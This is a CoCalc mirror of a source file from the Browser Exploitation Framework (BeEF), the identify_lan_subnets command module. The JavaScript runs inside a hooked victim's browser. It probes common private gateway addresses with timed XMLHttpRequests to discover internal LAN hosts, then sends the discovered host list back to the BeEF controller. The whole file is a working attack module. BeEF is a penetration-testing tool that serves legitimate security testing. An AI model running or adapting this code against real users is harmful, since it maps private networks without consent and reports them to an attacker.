Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/identify_lan_subnets/command.js
1873 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
if(!beef.browser.isFF() && !beef.browser.isC()){
10
beef.debug("[command #<%= @command_id %>] Browser is not supported.");
11
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
12
}
13
14
var min_timeout = 500;
15
var ranges = [
16
'192.168.0.0',
17
'192.168.1.0',
18
'192.168.2.0',
19
'192.168.10.0',
20
'192.168.100.0',
21
'192.168.123.0',
22
'10.0.0.0',
23
'10.0.1.0',
24
'10.1.1.0',
25
'10.10.10.0',
26
'172.16.0.0',
27
'172.16.1.0'
28
];
29
30
var doScan = function(timeout) {
31
32
var discovered_hosts = [];
33
var proto = "http";
34
35
var doRequest = function(host) {
36
var d = new Date;
37
var xhr = new XMLHttpRequest();
38
xhr.timeout = timeout;
39
xhr.onreadystatechange = function(){
40
if(xhr.readyState == 4){
41
var time = new Date().getTime() - d.getTime();
42
var aborted = false;
43
// if we call window.stop() the event triggered is 'abort'
44
// http://www.w3.org/TR/XMLHttpRequest/#event-handlers
45
xhr.onabort = function(){
46
aborted = true;
47
}
48
xhr.onloadend = function(){
49
if(time < timeout){
50
// 'abort' fires always before 'onloadend'
51
if(time > 1 && aborted === false){
52
beef.debug('Discovered host ['+host+'] in ['+time+'] ms');
53
discovered_hosts.push(host);
54
}
55
}
56
}
57
}
58
}
59
xhr.open("GET", proto + "://" + host, true);
60
xhr.send();
61
}
62
63
var requests = new Array();
64
for (var i = 0; i < ranges.length; i++) {
65
// the following returns like 192.168.0.
66
var c = ranges[i].split('.')[0]+'.'+
67
ranges[i].split('.')[1]+'.'+
68
ranges[i].split('.')[2]+'.';
69
// for every entry in the 'ranges' array, request
70
// the most common gateway IPs, like:
71
// 192.168.0.1, 192.168.0.100, 192.168.0.254
72
requests.push(c + '1');
73
requests.push(c + '100');
74
requests.push(c + '254');
75
}
76
77
// process queue
78
var count = requests.length;
79
beef.debug("[command #<%= @command_id %>] Identifying LAN hosts ("+count+" URLs) (Timeout " + timeout + "ms)");
80
var check_timeout = (timeout * count + parseInt(timeout,10));
81
var handle = setInterval(function() {
82
if (requests.length > 0) {
83
doRequest(requests.pop());
84
}
85
}, timeout);
86
87
// check for results
88
checkResults = function() {
89
90
if (handle) {
91
beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]");
92
clearInterval(handle);
93
handle = 0;
94
}
95
96
var hosts = discovered_hosts.join(",");
97
beef.debug("Discovered " + discovered_hosts.length + " hosts: " + hosts);
98
if (discovered_hosts.length >= 5) {
99
// if we get 5+ results something probably went wrong. this happens sometimes.
100
if (timeout > min_timeout) {
101
// if timeout is more than 500ms then decrease timeout by 500ms and try again
102
beef.debug("Returned large hit rate (" + discovered_hosts.length + " of " + count + ") indicating low network latency. Retrying scan with decreased timeout (" + (timeout - 500) + "ms)");
103
doScan(timeout-500);
104
} else {
105
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.are.status_error());
106
}
107
} else if (discovered_hosts.length == 0) {
108
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.are.status_error());
109
} else {
110
beef.debug("[command #<%= @command_id %>] Identifying LAN hosts completed.");
111
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.are.status_success());
112
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");
113
}
114
}
115
setTimeout("checkResults();", check_timeout);
116
117
}
118
119
var timeout = "<%= @timeout %>";
120
if (isNaN(timeout) || timeout < 1) timeout = min_timeout;
121
doScan(parseInt(timeout,10));
122
123
});
124
125